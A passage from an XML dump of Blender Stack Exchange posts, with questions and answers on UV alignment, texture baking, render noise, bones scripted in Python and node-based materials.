material.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mtSWR.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;sup&gt;Note the orange boarder, the node &lt;strong&gt;must&lt;/strong&gt; be selected&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Bake&lt;/h2&gt;&#xA;&lt;p&gt;The bake panel in cycles is at the bottom of the render tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9AvD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Change the bake type to emit. You can then set the margin, which will cause the color to bleed outwards from you UVS in order to stop gaps from  forming at the edges.&lt;/p&gt;&#xA;&lt;p&gt;Now you can hit bake, and you will have you Color ID map.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-12T16:11:31.187" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28400" PostTypeId="1" AcceptedAnswerId="28416" CreationDate="2015-04-12T16:25:37.200" Score="2" ViewCount="1992" Body="&lt;p&gt;I have a clothing that i want to fit onto my rigged character base mesh. Here is the sleeve, that i need to match the arm:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wOwcb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rotating it in Edit mode with Proportional Edit - kinda worked, but now it's stretched in some places, because it's not like rotating a bone. I guess the best solution will be to &quot;pose&quot; this sleeve to fit the arm, but is it possible without rigging whole clothing? The only thing i can think of is to create a single 'temporary' bone, rig the sleeve to it and then rotate &amp;amp; delete the bone... But maybe there is a better way to do it?&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-04-12T19:52:59.750" Title="How to change 'pose' of mesh without rigging?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;transforms&gt;&lt;bones&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28401" PostTypeId="2" ParentId="28397" CreationDate="2015-04-12T16:59:43.050" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the snapping from increment to vertex &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WyGX0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select an island with &lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose one of the vertices on the island and match it to the corresponding one on the other island&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2yTsa.gif&quot; width=&quot;269&quot; /&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If they are not aligned due to rotation, continue with these steps&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the vertex that matches the island you are aligning to. &lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; to snap the cursor to the selected vertex&lt;/li&gt;&#xA;&lt;li&gt;Select the one island with &lt;kbd&gt;L&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;.&lt;/kbd&gt; to set the pivot point to be the cursor&lt;/li&gt;&#xA;&lt;li&gt;Rotate the island until &lt;kbd&gt;R&lt;/kbd&gt; and snap a vertex that isn't lined up with the cursor to the similar one on the other mesh.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zCjb3.gif&quot; width=&quot;269&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the scale doesn't match proceed further these steps&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With the pivot point still at the cursor at the matching vertex, hit &lt;kbd&gt;S&lt;/kbd&gt; to scale until it snaps into place&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the map is distorted, or something above didn't work right, do these procedures instead of the above steps&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Snap each vertex individually to the corresponding vertex using &lt;kbd&gt;G&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vPCbg.gif&quot; width=&quot;269&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: if the snapping doesn't work, try holding down &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-10-16T00:49:38.407" LastActivityDate="2015-10-16T00:49:38.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28403" PostTypeId="2" ParentId="28395" CreationDate="2015-04-12T18:19:25.347" Score="1" Body="&lt;p&gt;It seems &lt;a href=&quot;https://blender.stackexchange.com/questions/7196/how-to-get-a-new-mesh-with-modifiers-applied-using-blender-python-api&quot;&gt;this question&lt;/a&gt; already answers how to apply a modifier; if you still get the parameters of a modifier, here's how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in bpy.context.selected_objects:&#xA;    for mod in ob.modifiers: &#xA;        if mod.type == 'SUBSURF':&#xA;           print(&quot;Subsurface modifier (\&quot;%s\&quot;) in object \&quot;%s\&quot;, with view level %s and render level %s.&quot; % (ob.name, mod.levels, mod.render_levels))&#xA;           bpy.ops.object.modifier_apply(apply_as='DATA', modifier=mod.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above script will print to the console the level of all &lt;em&gt;Subsurface&lt;/em&gt; modifiers in all selected objects, and their names.&#xA;Then it will apply the modifiers, so that you can get the coordinates of each vertex. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-04-13T07:52:16.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28404" PostTypeId="1" CreationDate="2015-04-12T19:04:59.170" Score="3" ViewCount="719" Body="&lt;p&gt;I'm creating a model, and getting a lot of fireflies. I've read that these can be caused by poor lighting and by low render samples, and can be reduced by clamping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've got 2 lamps going, and I don't want to keep adding lamps until I have no shadows. I'm using 500 samples. I tried 1000, didn't help. (Using cycles render). I've tried all combinations of setting direct and indirect clamping to 1. The last helps some, but not enough to justify the reduced picture quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1FMF.jpg&quot; alt=&quot;model to be rendered&quot;&gt;&#xA; Note the inside of the drive ring and the back of the radio antenna.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to Add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Todd's suggestion below, I redid the render using Branched Path Tracing, and the result was much better. Only thing I changed was upping the samples to 250.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/siHHA.jpg&quot; alt=&quot;render after change&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12954" LastEditorUserId="12954" LastEditDate="2015-04-14T00:47:12.250" LastActivityDate="2015-04-14T00:47:12.250" Title="Very spotty render. Fireflies?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-12T21:41:24.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="28405" PostTypeId="1" AcceptedAnswerId="28407" CreationDate="2015-04-12T19:11:11.180" Score="1" ViewCount="105" Body="&lt;p&gt;I made a string of bones but want specific bones to be b-bones&#xA;I have:&#xA;bpy.ops.object.armature_add()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the python suggestion is:&#xA;bpy.data.armatures['Armature'].draw_type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I define b-bone from this?&lt;/p&gt;&#xA;" OwnerUserId="13750" LastActivityDate="2015-04-12T19:17:10.767" Title="How do I convert a bone to b-bone with Python and set the number of segments" Tags="&lt;python&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28406" PostTypeId="1" AcceptedAnswerId="28411" CreationDate="2015-04-12T19:15:12.990" Score="8" ViewCount="1699" Body="&lt;h1&gt;Reference Photo&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Consider the following photograph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.huntleigh.com/wp-content/uploads/2014/07/shutterstock_105784187.jpg&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Click for high resolution&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sL83P.jpg&quot; alt=&quot;Reference Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;No Glare&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The first render resembles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IPsWs.jpg&quot; alt=&quot;No glare reference&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note how the LEDs have no glare.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Glare&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The second render adds glare by following &lt;a href=&quot;https://www.youtube.com/watch?v=fWcCkQ3943Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;Price's tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwTG3.jpg&quot; alt=&quot;Glare reference&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Problems&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Adding glare introduces a number of problems (in no particular order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since the glare is added during compositing, the cabinet door glass does not affect it.&lt;/li&gt;&#xA;&lt;li&gt;The star streaks are not pointed.&lt;/li&gt;&#xA;&lt;li&gt;Separating the cabinet door frame and cabinet door handle for masking eliminates incorrect glare, but produces a &lt;a href=&quot;http://en.wikipedia.org/wiki/Moir%C3%A9_pattern&quot; rel=&quot;nofollow noreferrer&quot;&gt;moiré pattern&lt;/a&gt; for the handles (even with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;dithering&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Composite_Nodes/Setups/Depth_Of_Field&quot; rel=&quot;nofollow noreferrer&quot;&gt;DoF&lt;/a&gt; in place).&lt;/li&gt;&#xA;&lt;li&gt;Due to issues with alpha, the white environment background is no longer applied (this is not apparent with the glare reference image because JPEG does not support transparent backgrounds). This cascades to other problems (such as darker tiles and less window reflection).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;How would you produce a realistic glare (or glowing LEDs) that is behind glass and correctly masked?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Compositor Node Setup&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://i.stack.imgur.com/kt4Yg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;node setup&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kt4Yg.png&quot; alt=&quot;Glare node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Aside: does Blender have an &quot;save node setup as image&quot; option? A screenshot won't necessarily capture a massive node setup.)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Glass Nodes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The glass nodes have the following node setup, from &lt;a href=&quot;http://www.chocofur.com/6-shadersamptextures.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;chocofur's tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BIxU4.png&quot; alt=&quot;Glass nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the absorption:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gw5hJ.png&quot; alt=&quot;Absorption nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/179/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=179&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-13T04:14:05.607" Title="Masked glare behind glass" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;compositor&gt;&lt;light&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28407" PostTypeId="2" ParentId="28405" CreationDate="2015-04-12T19:17:10.767" Score="1" Body="&lt;p&gt;You cannot have specific bones as b-bones..it's all of them or none of them - the type is for the whole armature. You can have all as b-bones and set the segments to more than 1 only for the specific ones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.data.armatures['Armature'].draw_type = 'BBONE'&#xA;&#xA;bpy.data.armatures['Armature'].bones['Bone'].bbone_segments = 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-12T19:17:10.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28408" PostTypeId="2" ParentId="23893" CreationDate="2015-04-12T19:23:59.377" Score="1" Body="&lt;p&gt;Sadly this isn't currently possible in blender, I believe that for one of many reasons it wasn't included into blender, that happens with GSoC projects quite often, sadly. (Maybe why blender didn't get any projects this year, 2015). As a result this isn't possible.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-04-12T19:23:59.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28410" PostTypeId="2" ParentId="28404" CreationDate="2015-04-12T19:27:30.330" Score="4" Body="&lt;p&gt;The best way to trouble shoot a noisy image, is to render all the main colour render passes (Dif, Gloss, Trans, Sub, Emission and AO) out, and inspect each one. You'll see one or two that are really noisy, and then you should be able to adjust your samples to clear them up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7r5w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a big fan of Branch Path Tracing mode, because it lets you reduce samples in passes that don't need it and increase samples in those that do. I'm fairly certain you should be able to get something looking decent for 500 samples, but you may have to redistribute them differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JfsCc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-04-12T19:27:30.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28411" PostTypeId="2" ParentId="28406" CreationDate="2015-04-12T19:33:36.267" Score="7" Body="&lt;p&gt;Try adding a refraction  node to your door material, so that the light gets dispersed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6FaJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;In you file the glare is there but it's almost wiped out by the white environment's brighness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5ol8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your file on a Blue environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sThiU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-13T04:14:05.607" LastActivityDate="2015-04-13T04:14:05.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28412" PostTypeId="2" ParentId="27628" CreationDate="2015-04-12T19:34:34.570" Score="1" Body="&lt;p&gt;By now, this is the better way I've found:&#xA;- put the 3D cursor (Shift S) on the base of the bone&#xA;- create a cube&#xA;- turn on the axis view both in the bone (in pose mode) and in the new cube (Obj mode)&#xA;- in object mode, align the cube to the bone on the three axes&#xA;- in edit mode, move all vertices of the cube until it surrounds the bone&#xA;- assign the cube as bone shape&#xA;- in obj mode scale the cube equal to the bone shape&#xA;- in edit mode rescale the cube mesh as it was when created &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can freely edit the mesh: it will remain the same as bone shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is useful only for complicated bone shapes, as it is long and tedious; with simple meshes i prefer to get some headache with trial and errors movements :)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for better methods from the community!!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-12T19:34:34.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28413" PostTypeId="2" ParentId="17763" CreationDate="2015-04-12T19:41:38.937" Score="0" Body="&lt;p&gt;Put the 3D cursor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) on the base of the bone, then add a new object (a cube). Turn on the axis view for both the bone (in pose mode) and the new cube (Obj mode). In object mode, align the cube to the bone on the three axes. In edit mode, move all vertices of the cube until it surrounds the bone. Assign the cube as the bone shape. In object mode scale the cube equal to the bone shape. Last in edit mode rescale the cube mesh as it was when created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can freely edit the mesh: it will remain the same as bone shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is useful only for complicated bone shapes, as it is long and tedious; with simple meshes I prefer to get some headache with trial and errors movements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A SIMPLER METHOD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a circle; in edit mode move on a single axis two vertices, to remove simmetry; assign the circle to the bone; in object mode align and scale the object to the bone shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vW8h1.png&quot; alt=&quot;Not aligned&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z5i5N.png&quot; alt=&quot;aligned&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can freely edit your circle in edit mode: the bone shape will remain consistent.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-05-01T10:53:41.263" LastActivityDate="2015-05-01T10:53:41.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28414" PostTypeId="2" ParentId="21584" CreationDate="2015-04-12T19:46:41.050" Score="1" Body="&lt;p&gt;you can simply transform your curve into a mesh (alt C) and then use the mesh as custom shape. be prepared to adjust loc rot and scale of your mesh/curve (a problem also with simple meshes)&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-12T19:46:41.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28415" PostTypeId="2" ParentId="5320" CreationDate="2015-04-12T19:51:07.723" Score="10" Body="&lt;p&gt;If you want to create two identical halves from a symmetrical mesh, all you need to do is to tab into &lt;em&gt;Edit Mode&lt;/em&gt; and press &lt;kbd&gt;Numpad 5&lt;/kbd&gt; then &lt;kbd&gt;Numpad 1&lt;/kbd&gt;. Now you can press &lt;kbd&gt;B&lt;/kbd&gt; for &lt;em&gt;Box Select&lt;/em&gt; and drag over the vertices to one side of the center line, then delete those vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IuTKl.gif&quot; alt=&quot;GIF Illustration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method can be used to make &lt;em&gt;Vertex Groups&lt;/em&gt; for easy selection, so you can assign materials. Notice that your selection will be limited to the vertex locations, and no new geometry will be created to ensure a straight line.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-12T19:51:07.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28416" PostTypeId="2" ParentId="28400" CreationDate="2015-04-12T19:52:59.750" Score="2" Body="&lt;p&gt;I think that rigging with two bones is the easiest and fastest (adjustable) method to get the job done. Be sure to rig also all the vertices that need to nearly stay in place (they need to be assigned to two bones - one fixed and one moving -: one bone only would lead you to bad elbow joints!)&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-12T19:52:59.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28417" PostTypeId="1" CreationDate="2015-04-12T20:10:19.723" Score="11" ViewCount="628" Body="&lt;p&gt;I'd like to make an animation of some objects moving around on flat plane which stretches to the horizon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CjN7g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'd like to move the camera waaaayyyy into the sky and show that the ground is actually a text object. I'm finding the difference in scales really tough to work on in a single scene (e.g. clipping is driving me nuts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do the described shot in a single scene? Or am I better off splitting it into two scenes and somehow stitch the animation back together in the video sequence editor?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-04-24T05:40:42.210" Title="How to deal with a scene that has both very large and very small objects" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28418" PostTypeId="1" AcceptedAnswerId="28421" CreationDate="2015-04-12T21:31:05.483" Score="5" ViewCount="1764" Body="&lt;p&gt;I am trying to bake a normal map from a few high poly objects down to a lp base object for a game engine. I am using cycles with a baking cage but am getting odd results as you can see in the image below. The round nobs in the middle have weird bleeding edges and the horizontal panels in the middle have jagged edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached the blend file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get rid of those?&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/180/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=180&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tV1yt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-12T22:38:14.880" Title="Normal map baking (cycles) edges and bleeding edges" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28419" PostTypeId="1" CreationDate="2015-04-12T21:54:58.377" Score="2" ViewCount="3078" Body="&lt;p&gt;I have &lt;a href=&quot;http://www.blendswap.com/blends/view/76261&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Low-poly flat-shaded hood character rigged and animated&quot;&gt;downloaded a model from Blend-Swap&lt;/a&gt;, that I wanted to study, to try and learn from it.&#xA;But as you can see in the screenshot, there is no Edit Mode. I selected a mesh in the outliner, but I noticed that it isn't outlined in the 3DView. Why would this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UPcaq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13706" LastEditorUserId="6204" LastEditDate="2015-04-13T01:12:05.750" LastActivityDate="2015-04-13T01:12:05.750" Title="Mesh selected, but can not enter Edit Mode" Tags="&lt;3d-view&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28421" PostTypeId="2" ParentId="28418" CreationDate="2015-04-12T22:38:14.880" Score="5" Body="&lt;p&gt;These are put there on purpose to prevent artifacts around UV seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to get rid of them, set the &lt;em&gt;margin&lt;/em&gt; to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pEXqn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-12T22:38:14.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28422" PostTypeId="1" AcceptedAnswerId="28423" CreationDate="2015-04-12T23:05:01.923" Score="21" ViewCount="7509" Body="&lt;p&gt;I would like to have my object transparent, with a color only on the edges, would someone know how to do this? I am starting with the nodes, if anyone can help with some guidelines I would really appreciate ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for something like the hand in Kinectimals :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X7oWg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13249" LastEditorDisplayName="user1853" LastEditDate="2015-05-11T14:13:52.617" LastActivityDate="2016-12-13T15:13:32.880" Title="How to render a mesh transparent with a color on its edges only, with nodes?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="28423" PostTypeId="2" ParentId="28422" CreationDate="2015-04-12T23:18:13.693" Score="33" Body="&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example using layer weight/fresnel to control the transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwSGU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Fresnel value on the &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/render/cycles/nodes/types/input/layer_weight.html&quot; rel=&quot;noreferrer&quot;&gt;Layer Weight&lt;/a&gt;&lt;/strong&gt; controls the mix of emission and transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SYQF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can see right through the mesh at the back side of the object. So you need to limit the rendering to only the part of the geometry first seen by the camera, and make the back faces transparent. That's what the Light path node and Transparent depth is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D0d5O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-12-13T15:13:32.880" LastActivityDate="2016-12-13T15:13:32.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28424" PostTypeId="1" AcceptedAnswerId="28435" CreationDate="2015-04-13T00:10:22.240" Score="4" ViewCount="11146" Body="&lt;p&gt;I would like to use the clone tool with texture paint, but as soon as I choose Texture Paint, the mesh is white, and I cannot paint on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new UV Map, after I project the image from view, the image of reference appears well on the mesh in Object Mode, but I get this white color in Texture Paint Mode. I followed this tutorial : &lt;a href=&quot;https://youtu.be/p4ngVoGIj1Q?t=15m56s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/p4ngVoGIj1Q?t=15m56s&lt;/a&gt; but the version of Blender is not the same, so the settings are a bit different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to play with the clone settings, the options in the shader menu : GLSL/Multitexture, but nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you know how to use this clone effect in Blender 2.72b ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT #4: it is confusing, sorry. Here is a new example : the clone painting works. But when I click on the paintTo UV Map, which is the image I should export at the end, the painting does not correctly match the seams :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is when I paint :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gdknx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is when I click on the uv map : it is not the same result as the previous painting 